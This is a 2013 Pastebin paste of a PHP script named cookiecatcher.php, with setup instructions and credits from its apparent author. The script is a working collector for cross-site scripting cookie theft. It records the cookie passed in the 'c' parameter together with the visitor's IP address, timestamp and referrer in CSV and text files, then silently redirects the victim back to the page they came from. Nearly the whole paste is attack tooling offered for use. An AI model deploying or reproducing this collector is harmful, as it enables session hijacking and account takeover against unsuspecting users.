Advertisement
leonteale

cookiecatcher.php

Aug 16th, 2013
398
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.08 KB | None | 0 0
  1. <?php
  2. define('CSV_STORAGE', __DIR__ . '/cookies.csv');
  3. define('TXT_FILE', __DIR__ . '/cookies.txt');
  4.  
  5. if(!array_key_exists('c', $_GET))
  6. {
  7.     die('Nope. Not valid');
  8. }
  9.  
  10. $cookie   = $_GET['c'];
  11. $date     = date("j F, Y, g:i a");
  12. $referrer = $_SERVER['HTTP_REFERER'];
  13. $ip       = $_SERVER['REMOTE_ADDR'];
  14.  
  15. $csvFileHandle = fopen(CSV_STORAGE, 'a');
  16. $txtFileHandle = fopen(TXT_FILE, 'a');
  17.  
  18. if(0 == filesize(CSV_STORAGE))
  19. {
  20.     fputcsv($csvFileHandle, array('Cookie', 'IP', 'Date', 'Referrer'));
  21. }
  22. fputcsv($csvFileHandle, array($cookie, $ip, $date, $referrer));
  23.  
  24.  
  25. fwrite($txtFileHandle,
  26.     'Cookie: ' . $cookie . PHP_EOL
  27.     . 'IP: ' . $ip . PHP_EOL
  28.     . 'Date and time: ' . $date . PHP_EOL
  29.     . 'Referer: ' . $referrer . PHP_EOL . PHP_EOL
  30. );
  31.  
  32. fclose($csvFileHandle);
  33. fclose($txtFileHandle);
  34.  
  35. header('Location:' . $_SERVER['HTTP_REFERER']);
  36.  
  37.  
  38.  
  39.  
  40. ----------
  41. Don't forget to create cookies.txt and cookies.csv and make sure they are writable
  42. ----------
  43.  
  44.  
  45.  
  46. leonteale.co.uk
  47.  
  48. With special thanks to Thomas Gray @ Randomstorm for helping me make this script better.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement